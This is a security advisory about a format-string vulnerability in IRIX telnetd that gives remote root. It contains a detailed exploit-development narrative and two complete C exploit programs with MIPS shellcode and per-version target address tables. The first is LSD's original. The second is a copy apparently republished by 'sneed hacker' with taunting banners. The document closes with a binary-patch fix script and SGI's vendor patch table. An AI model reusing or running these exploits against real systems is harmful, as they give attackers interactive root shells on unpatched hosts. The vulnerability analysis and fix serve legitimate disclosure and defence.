COMMAND
telnetd
SYSTEMS AFFECTED
IRIX 6.2...6.5.8
PROBLEM
[LSD] found following. They have found a very severe vulnerability
in the IRIX telnetd service that upon successful exploitation can
give remote root access to any IRIX 6.2-6.5.8[m,f] system.
The bug discussed here appeared in IRIX 5.2-6.1 systems and was
the result of SGI efforts to patch a security vulnerability
reported by CERT back in 1995 (CERT Advisory CA-95:14). Because
it was introduced to the IRIX 5.2-6.1 systems along with the
1010/1020 security patches, their default "clean" installations
are rather immune from this vulnerability. All later IRIX
editions are by default vulnerable to the bug presented in this
post. More info about that bug you will find at:
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/telnetd.html
The vulnerability LSD found belongs to the most recently discussed
class of the so-called "format bugs". IRIX telnetd service upon
receiving the IAC-SB-TELOPT_ENVIRON request to set one of the _RLD
family environment variables calls the syslog() function with a
partially user supplied format string. The syslog message that is
generated upon detecting such an attempt is of the following
format: "ignored attempt to setenv(%.32s,%.128s)". The strings
enclosed by the setenv() brackets are adequately: variable name
and variable value. If variable name/value pairs are
appropriately constructed, arbitrary telnetd process image memory
values can be overwritten and execution flow can be redirected to
the user supplied machine code instructions.
After some careful investigation LSD managed to exploit the
vulnerability. A proof of concept code was developed and it is
available at their website (and below tomorrow). They also
implemented a quick fix, so that people can protect their IRIX
boxes from being exploited.
When LSD noticed that IRIX telnetd uses syslog() function with
partially user supplied strings, the first attempt that they
undertook was to try to overwrite its stack by using the
"[shellcode]%[space padding].c[return address]" attack scheme.
Unfortunately, it turned out to be ineffective, as they could not
seize control over the telnetd PC. This was mainly caused by the
fact that the number of spaces in the format string could not be
adjusted in such a way so that PC would have been loaded with our
arbitrary return address value. They could not either use the
"%[space padding].c[shellcode][address]"
"%[pad1]x%[pad2]x%[pad3]x%[pad4]x%[param number]$n"
attack scheme because of the MIPS big endianness and the fact that
the machine code implementing the %n feature was using the sw
(store word) instruction. On MIPS and other RISC machines
compilers usually generate code with a speed in mind. So, if the
c language *(int*)var=val equivalent operation is encountered in
the source code it is usually processed in such a way that
produces the sw instruction in the output assembly code. And
since it is the sw store, it must be 4 bytes aligned on MIPS. If
this is not the case BUSERROR is signalled to the process and it
core dumps.
The processor big endianness and aligned memory load/writes were
the primary difficulties that we had encountered when exploiting
the format string telnetd bug. The other problem we noticed was
that only 100 bytes long buffer could be used for telnet IAC-SB
command.
Because we do not give up so easily, another try was made to the
telnetd exploit. After some deep analysis of all the environment
constraints, LSD decided to use the
"[shellcode][addrlo][addrhi]"
"%[pad1]x%[param number1]$hn%[pad2]x%[param number2]$hn"
string at our attack. We simply changed from %n to %hn scheme and
performed two short integer writes instead of one common int
write. The values of pad1 and pad2, although kept in 32 bit
registers are stored by the %hn feature as 16 bit values using sh
(store halfword) machine instruction. If carefully adjusted, they
can form high and low nibbles of the 32 bit value stored at a
given memory address (addrlo for first %hn store, and addrhi for
the second one). LSD come up to the point where they were able to
store arbitrary values in telnetd process memory locations. The
problem we faced next was how to effectively get control over the
program counter. Performing an overwrite of the return address
stored in a local function frame is one of the obvious ways to
achieve that, but since we were not able to remotely inspect the
telnetd stack it seemed to be rather ineffective. This is why
they decided to make a jump through the process GOT table. On
IRIX every call to the function from the shared library linked
with a given program is made with the use of the following
instruction sequences:
lw t9,-got_offset(gp)
jalr ra,t9
nop
If GOT entry for a shared library function called from within a
telnetd would be overwritten with an arbitrary address, the next
time this function would be executed, the PC would be loaded with
that address and in a result control over the process would be
gained. The most important thing here is that GOT entries for a
given function call do not differ so much from one to other
binary. The other advantage is that they are 32 bit entities,
regardless of whether ELF 32 or N32 binaries are in use. It is
important as long as IRIX 6.4 and up use 64 bit pointers for $ra
and $gp, which are usually difficult to overwrite with most often
occuring str* buffer overflows.
LSD inspected what function calls telnetd was using by viewing its
GOT table. They also found that after processing the
TELOPT_ENVIRON telnet protocol suboption telnetd was waiting on a
read() function call. So, they decided to overwrite the GOT entry
of the read() function. Its address was obtained by issuing
odump -Dg /usr/etc/telnetd | grep "\[read\]" command:
[ 77]: 0x0fa38654 -32444(gp), 7fc4981c [read]
and was 0x7fc4981c.
So this is how to solve the "where to store" problem and LSD could
control the value of PC, but "where to jump" location was still
unknown for them since it was also placed somewhere on a stack of
which parameters were unpredictable. This is why they decided to
change our format string and used the following one instead:
"%[space padding].c[shellcode]"
"[addrlo][addrhi]%[pad1]x%[param number1]$hn%[pad2]x%[param number2]$hn"
Because space paddings are before shellcode instructions and the
space value is 0x20 they could act as 0x20202020 NOPs (addi
$zero,$at,8224). By using a large decimal value for space padding
we could make our NOP buffer large and simultaneously, jump
address was becoming much more predictable. This is what LSD did,
but very soon got disappointed.
Everything seemed to be working fine. The telnetd GOT entry for
the read() function was overwritten in two shots with our start
address pointing to the middle of the NOP buffer. The jump was
made but LSD was always getting ILLEGAL INSTRUCION signal and
telnetd core dumped after executing several 0x20202020 NOPs. They
knew very well what was going on. After a couple of years of IRIX
buffer overflow exploitation that was nothing than a classic
example of the MIPS cache incoherence behaviour. They usually
avoided that cache problems by supplying large NOP buffers to the
program input so that cache had time to "flush". But that didn't
work in the telnetd case and they were stuck again.
The enlightenment came after careful telnetd memory inspection.
LSD found out that one of its global symbols was used for storing
telnet protocol options. It was called subbuffer and its location
was predictable since it was stored in a telnetd GOT table. They
used odump -Dg /usr/etc/telnetd | grep "\[subbuffer\]" command:
[ 186]: 0x7fc4cf98 -32008(gp), 7fc499d0 [subbuffer]
and obtained the forementioned buffer address - 0x7fc4cf98.
The format string was changed again and we got rid of the padding
spaces in it since they were not needed any more. Jumping to the
location within a subbuffer turned out to be effective but not on
all platforms. LSD had still cache problems on R4600 systems. To
solve that they decided to use a trick that has been first applied
by them back in 1998 in their named exploit. They were
overwriting the same memory location for 2 times with a time
period between each single write. By doing so processor cache
usually has enough time to "become coherent". This is usually the
case because during that time process sleeps on a read() syscall,
and its context is switched. This is why in telnetd exploit LSD
set environment variables for two times. The first setting
places only shellcode and data in a subbuffer. This is the second
operation, which triggers the memory overwrites and makes the
exploit go run.
So, we have a working exploit version on a 6.5 platform. LSD
tested it and it worked fine on all 6.5.x systems they had in
their operating environment. It was time to move to another IRIX
versions. And this is where new problems with the exploit popped
out.
First, they noticed that on IRIX 6.2 and 6.3 different format
strings had to be used. That became quite apparent to when
inspecting the telnetd binary and finding out that it was an ELF
o32 binary, not the new N32 ELF used on IRIX 6.4 and above. So,
we have to deal with appropriate format strings for different MIPS
ABI's.
The second, much more painful difference noticed was that on IRIX
6.2-6.4 even if the right telnetd GOT entry for the read() call
was overwritten our code is not executed. Instead, we always were
ending up with a sigabort() function call. Overwritting the
abort() function seemed to be the only way to get control over
telnetd program counter. What was not promising for LSD was that
sigabort was called from within the syslog function of which
definition is located within libc.so.1. LSD went through several
IRIX boxes and checked out the differences between their standard
c language libraries. And it all looked like a mess. LSD knew
that some patches changed libc.so.1. They somewhat found out that
what odump/elfdump was showing about the libc.so.1 GOT entries was
not usually how the things were really looking like. LSD was
forced to use the following scheme to obtain the address of the
libc.so.1 GOT entry for a given function:
got_entry_address=got_base_address+function_index_in_got
where got_base_address and function_index_in_got ware obtained
with the following commands:
odump -h -n .got /usr/lib/libc.so.1 | grep got
odump -Dg /usr/lib/libc.so.1 | grep "\[abort\]"
Finally, LSD went through the SGI patchbase in order to find out
what patches could change the libc.so.1 file in the IRIX system.
This is what they found:
/usr/lib/libc.so.1 patches:
IRIX 6.2
patchSG0003490.eoe_sw.irix_lib (libc rollup + Y2K fixes + MIPS ABI)
patchSG0003723.eoe_sw.irix_lib (libc rollup + Y2K fixes + MIPS ABI)
patchSG0003771.eoe_sw.irix_lib (libc rollup + Y2K fixes + MIPS ABI)
patchSG0001918.eoe_sw.irix_lib (libc rollup)
patchSG0002086.eoe_sw.irix_lib (libc rollup)
IRIX 6.3
patchSG0003535.eoe_sw.irix_lib (libc bug fixes and enhancements + y2k)
patchSG0003737.eoe_sw.irix_lib (libc bug fixes and enhancements + y2k)
patchSG0003770.eoe_sw.irix_lib (libc bug fixes and enhancements + y2k)
IRIX 6.4
patchSG0003491.eoe_sw.irix_lib (6.4-S2MP+O + y2k + 64-bit strcoll segv fix)
patchSG0003738.eoe_sw.irix_lib (6.4-S2MP+O + y2k + 64-bit strcoll segv fix)
patchSG0003769.eoe_sw.irix_lib (6.4-S2MP+O + y2k + 64-bit strcoll segv fix)
IRIX 6.5
no patches available
After applying each patch separately on appropriate IRIX versions
and by checking the addresses of the abort() function GOT table
entries it turned out that from our "GOT overwriting" point of
view some libraries were equivalent. Similar elf binary
inspection was applied to the telnetd program (remember subbuffer
jump address), of which different versions could be installed in
the system due to the following patch matrix:
/usr/etc/telnetd patches:
IRIX 6.2
patchSG0001485.eoe_sw.unix
patchSG0002070.eoe_sw.unix
patchSG0003117.eoe_sw.unix
patchSG0003414.eoe_sw.unix
IRIX 6.3 6.4 6.5
no patches available
This is how LSD managed to reduce the possible number of abort()
function GOT entry/telnetd subbufer address locations from 39 to
13. The final table of all possible combinations for all IRIX
6.x systems looked like this:
irix 6.2 libc.so.1: no patches telnetd: no patches
irix 6.2 libc.so.1: 1918|2086 telnetd: no patches
irix 6.2 libc.so.1: 3490|3723|3771 telnetd: no patches
irix 6.2 libc.so.1: no patches telnetd: 1485|2070|3117|3414
irix 6.2 libc.so.1: 1918|2086 telnetd: 1485|2070|3117|3414
irix 6.2 libc.so.1: 3490|3723|3771 telnetd: 1485|2070|3117|3414
irix 6.3 libc.so.1: no patches telnetd: no patches
irix 6.3 libc.so.1: 2087 telnetd: no patches
irix 6.3 libc.so.1: 3535|3737|3770 telnetd: no patches
irix 6.4 libc.so.1: no patches telnetd: no patches
irix 6.4 libc.so.1: 3491|3769|3738 telnetd: no patches
irix 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches
irix 6.5.8f telnetd: no patches
This is how LSD come up to the ending point.
The shellcode used in the exploit code is a slightly modified
version of their 40 byte long IRIX MIPS shellcode. It couldn't
be longer because of the space limits imposed on a telnet protocol
options buffer. The following command shows that we have only 100
bytes available for suboptions data:
odump -Dt /usr/etc/telnetd | grep subbuffer
We use 97 out of these 100 bytes. As you see this is far enough
to take control over the IRIX box.
Primarily aim of this story was to show how much effort must be
usually made to develop an exploit code. The guys who just use
them do not even think about it. Each exploit code has its own
story. Only exploit coders who know what it takes to write them
are familiar with that pain of development.
Below is link to exploit and fix codes (they are included in this
advisory as well):
http://lsd-pl.net/files/get?IRIX/irx_telnetd
Exploit:
/*## copyright LAST STAGE OF DELIRIUM jul 2000 poland *://lsd-pl.net/ #*/
/*## telnetd #*/
/* update: */
/* code was slightly modified in order to properly compile with gcc and to */
/* work from within little endian machines */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x02\x14" /* addi $ra,$ra,532 */
"\x23\xe4\xfe\x08" /* addi $a0,$ra,-504 */
"\x23\xe5\xfe\x10" /* addi $a1,$ra,-496 */
"\xaf\xe4\xfe\x10" /* sw $a0,-496($ra) */
"\xaf\xe0\xfe\x14" /* sw $zero,-492($ra) */
"\xa3\xe0\xfe\x0f" /* sb $zero,-497($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;
typedef struct{char *vers;}tabent1_t;
typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;
tabent1_t tab1[]={
{ "IRIX 6.2 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: 1918|2086 telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: no patches telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.2 libc.so.1: 1918|2086 telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.3 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.3 libc.so.1: 2087 telnetd: no patches " },
{ "IRIX 6.3 libc.so.1: 3535|3737|3770 telnetd: no patches " },
{ "IRIX 6.4 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.4 libc.so.1: 3491|3769|3738 telnetd: no patches " },
{ "IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches " },
{ "IRIX 6.5.8f telnetd: no patches " }
};
tabent2_t tab2[]={
{ 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },
{ 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },
{ 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },
{ 1, 0x5e, 0x0fb576d8, 88, 0x7fc4cf70, 0x1c },
{ 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },
{ 1, 0x5e, 0x7fc496e8, 77, 0x7fc4cf98, 0x1c },
{ 1, 0x5e, 0x7fc496e0, 77, 0x7fc4cf98, 0x1c }
};
char env_value[1024];
int prepare_env(int vers){
int i,adr,pch,adrh,adrl;
char *b;
pch=tab2[vers].got+(tab2[vers].g_ofs*4);
adr=tab2[vers].subbuffer+tab2[vers].s_ofs;
adrh=(adr>>16)-tab2[vers].len;
adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len;
b=env_value;
if(!tab2[vers].flg){
for(i=0;i<1;i++) *b++=' ';
for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
for(i=0;i<3;i++) *b++=' ';
for(i=0;i<strlen(shellcode);i++){
*b++=shellcode[i];
if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
}
sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl);
}else{
for(i=0;i<5;i++) *b++=' ';
for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
for(i=0;i<4;i++) *b++=' ';
for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
for(i=0;i<3;i++) *b++=' ';
for(i=0;i<strlen(shellcode);i++){
*b++=shellcode[i];
if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
}
sprintf(b,"%%%05dc%%11$hn%%%05dc%%12$hn",adrh,adrl);
}
b+=strlen(b);
return(b-env_value);
}
main(int argc,char **argv){
char buffer[8192];
int i,c,sck,il,ih,cnt,vers=65;
struct hostent *hp;
struct sockaddr_in adr;
printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/\n");
printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n\n");
if(argc<2){
printf("usage: %s address [-v 62|63|64|65]\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){
switch(c){
case 'v': vers=atoi(optarg);
}
}
switch(vers){
case 62: il=0;ih=5; break;
case 63: il=6;ih=8; break;
case 64: il=9;ih=10; break;
case 65: il=11;ih=12; break;
default: exit(-1);
}
for(i=il;i<=ih;i++){
printf(".");fflush(stdout);
sck=socket(AF_INET,SOCK_STREAM,0);
adr.sin_family=AF_INET;
adr.sin_port=htons(23);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
perror("error");exit(-1);
}
cnt=prepare_env(i);
memcpy(buffer,"\xff\xfa\x24\x00\x01\x58\x58\x58\x58\x00",10);
sprintf(&buffer[10],"%s\xff\xf0",env_value);
write(sck,buffer,10+cnt+2);
sleep(1);
memcpy(buffer,"\xff\xfa\x24\x00\x01\x5f\x52\x4c\x44\x00%s\xff\xf0",10);
sprintf(&buffer[10],"%s\xff\xf0",env_value);
write(sck,buffer,10+cnt+2);
if(((cnt=read(sck,buffer,sizeof(buffer)))<2)||(buffer[0]!=(char)0xff)){
printf("warning: telnetd seems to be used with tcp wrapper\n");
}
write(sck,"/bin/uname -a\n",14);
if((cnt=read(sck,buffer,sizeof(buffer)))>0){
printf("\n%s\n\n",tab1[i].vers);
write(1,buffer,cnt);
break;
}
close(sck);
}
if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);}
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
"sneed hacker" released this new telnetd code for irix. Works
faster:
/*## Sneed Coded THis www.serverattack.com#*/
/*## telnetd, this code is modified from that of LSD, now its better#*/ #*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x02\x14" /* addi $ra,$ra,532 */
"\x23\xe4\xfe\x08" /* addi $a0,$ra,-504 */
"\x23\xe5\xfe\x10" /* addi $a1,$ra,-496 */
"\xaf\xe4\xfe\x10" /* sw $a0,-496($ra) */
"\xaf\xe0\xfe\x14" /* sw $zero,-492($ra) */
"\xa3\xe0\xfe\x0f" /* sb $zero,-497($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;
typedef struct{char *vers;}tabent1_t;
typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;
tabent1_t tab1[]={
{ "IRIX 6.2 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: 1918|2086 telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: no patches telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.2 libc.so.1: 1918|2086 telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.3 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.3 libc.so.1: 2087 telnetd: no patches " },
{ "IRIX 6.3 libc.so.1: 3535|3737|3770 telnetd: no patches " },
{ "IRIX 6.4 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.4 libc.so.1: 3491|3769|3738 telnetd: no patches " },
{ "IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches " },
{ "IRIX 6.5.8f telnetd: no patches " }
};
tabent2_t tab2[]={
{ 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },
{ 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },
{ 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },
{ 1, 0x5e, 0x0fb576d8, 88, 0x7fc4cf70, 0x1c },
{ 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },
{ 1, 0x5e, 0x7fc496e8, 77, 0x7fc4cf98, 0x1c },
{ 1, 0x5e, 0x7fc496e0, 77, 0x7fc4cf98, 0x1c }
};
char env_value[1024];
int prepare_env(int vers){
int i,adr,pch,adrh,adrl;
char *b;
pch=tab2[vers].got+(tab2[vers].g_ofs*4);
adr=tab2[vers].subbuffer+tab2[vers].s_ofs;
adrh=(adr>>16)-tab2[vers].len;
adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len;
b=env_value;
if(!tab2[vers].flg){
for(i=0;i<1;i++) *b++=' ';
for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
for(i=0;i<3;i++) *b++=' ';
for(i=0;i<strlen(shellcode);i++){
*b++=shellcode[i];
if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
}
sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl);
}else{
for(i=0;i<5;i++) *b++=' ';
for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
for(i=0;i<4;i++) *b++=' ';
for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
for(i=0;i<3;i++) *b++=' ';
for(i=0;i<strlen(shellcode);i++){
*b++=shellcode[i];
if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
}
sprintf(b,"%%%05dc%%11$hn%%%05dc%%12$hn",adrh,adrl);
}
b+=strlen(b);
return(b-env_value);
}
main(int argc,char **argv){
char buffer[8192];
int i,c,sck,il,ih,cnt,vers=65;
struct hostent *hp;
struct sockaddr_in adr;
printf("copyright Sneed Cause I own you www.serverattack.com/\n");
printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n\n");
if(argc<2){
printf("usage: %s address [-v 62|63|64|65]\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){
switch(c){
case 'v': vers=atoi(optarg);
}
}
switch(vers){
case 62: il=0;ih=5; break;
case 63: il=6;ih=8; break;
case 64: il=9;ih=10; break;
case 65: il=11;ih=12; break;
default: exit(-1);
}
for(i=il;i<=ih;i++){
printf(".");fflush(stdout);
sck=socket(AF_INET,SOCK_STREAM,0);
adr.sin_family=AF_INET;
adr.sin_port=htons(23);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
perror("error");exit(-1);
}
cnt=prepare_env(i);
memcpy(buffer,"\xff\xfa\x24\x00\x01\x58\x58\x58\x58\x00",10);
sprintf(&buffer[10],"%s\xff\xf0",env_value);
write(sck,buffer,10+cnt+2);
sleep(1);
memcpy(buffer,"\xff\xfa\x24\x00\x01\x5f\x52\x4c\x44\x00%s\xff\xf0",10);
sprintf(&buffer[10],"%s\xff\xf0",env_value);
write(sck,buffer,10+cnt+2);
if(((cnt=read(sck,buffer,sizeof(buffer)))<2)||(buffer[0]!=(char)0xff)){
printf("warning: Sneed owns j00 and telnetd seems to be used with tcp wrapper\n");
}
write(sck,"/bin/uname -a\n",14);
if((cnt=read(sck,buffer,sizeof(buffer)))>0){
printf("\n%s\n\n",tab1[i].vers);
write(1,buffer,cnt);
break;
}
close(sck);
}
if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);}
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
SOLUTION
Here is the fix:
#!/bin/sh
## copyright LAST STAGE OF DELIRIUM jul 2000 poland *://lsd-pl.net/ #
## telnetd fix #
echo "copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/"
echo "telnetd bug fix for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n"
PATH=.:/bin:$PATH
EXECUTABLE=/usr/etc/telnetd
FIX=fix
if [ -f "$EXECUTABLE.org" ]
then
echo "error: $EXECUTABLE.org binary existing."
exit 1
fi
cp $EXECUTABLE $EXECUTABLE.org
chmod 0 $EXECUTABLE.org
cat > $FIX.c << 'EOF'
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
char pattern1[]="ignored attempt to setenv(%.32s,%.128s)";
char pattern2[]="ignored attempt to setenv(_RLD - fixed)";
int main(int argc,char **argv){
char buf[4096],*b;int i,fd,cnt;
if((fd=open(argv[1],O_RDWR))==-1){perror("error");exit(-1);}
while(1){
if((cnt=read(fd,buf,4096))<sizeof(pattern1)) break;
b=buf;
while(b<((&buf[cnt])-sizeof(pattern1))){
if(!memcmp(b,pattern1,sizeof(pattern1))) goto found;
b+=4;
}
}
printf("error: pattern not found. not fixed!\n");
close(fd);exit(-1);
found:
printf("fixed!\n");
memcpy(b,pattern2,sizeof(pattern2));
lseek(fd,-(cnt),SEEK_CUR);
write(fd,buf,cnt);
close(fd);exit(0);
}
EOF
cc $FIX.c -o $FIX
if [ ! -f "$FIX" ]
then
echo "error: building binary"
exit 1
fi
$FIX $EXECUTABLE
rm -rf $FIX.c $FIX
echo "$EXECUTABLE.org: "`strings $EXECUTABLE.org | grep ignored`
echo "$EXECUTABLE: "`strings $EXECUTABLE | grep ignored`
Official IRIX response:
OS Version Vulnerable? Patch # Other Actions
---------- ----------- ------- -------------
IRIX 3.x unknown Note 1
IRIX 4.x unknown Note 1
IRIX 5.0.x unknown Note 1
IRIX 5.1.x unknown Note 1
IRIX 5.2 yes not avail Note 1 & 3
IRIX 5.3 yes in progress Note 1 & 3
IRIX 6.0.x yes not avail Note 1 & 3
IRIX 6.1 yes not avail Note 1 & 3
IRIX 6.2 yes 4050 Note 2 & 3
IRIX 6.3 yes in progress Note 1
IRIX 6.4 yes in progress Note 1
IRIX 6.5 yes 4044 Note 3 & 4
IRIX 6.5.1 yes 4044 Note 3 & 4
IRIX 6.5.2 yes 4044 Note 3 & 4
IRIX 6.5.3 yes 4044 Note 3 & 4
IRIX 6.5.4 yes 4044 Note 3 & 4
IRIX 6.5.5 yes 4044 Note 3 & 4
IRIX 6.5.6 yes 4044 Note 3 & 4
IRIX 6.5.7 yes 4044 Note 3 & 4
IRIX 6.5.8 yes 4044 Note 3 & 4
IRIX 6.5.9 yes 4044 Note 3 & 4
IRIX 6.5.10 no Note 4
1) This version of the IRIX operating has been retired. Upgrade
to an actively supported IRIX operating system. See
http://support.sgi.com/irix/news/index.html#policy for more
information.
2) This version of the IRIX operating system is in maintenance
mode. Upgrade to an actively supported IRIX operating system.
See http://support.sgi.com/irix/news/index.html#policy for
more information.
3) Temporary remove telnetd from inetd.
4) If you have not received an IRIX 6.5.X CD for IRIX 6.5, contact
your SGI Support Provider or download the IRIX 6.5.X
Maintenance Release Stream from http://support.sgi.com/ or
ftp://patches.sgi.com/support/relstream/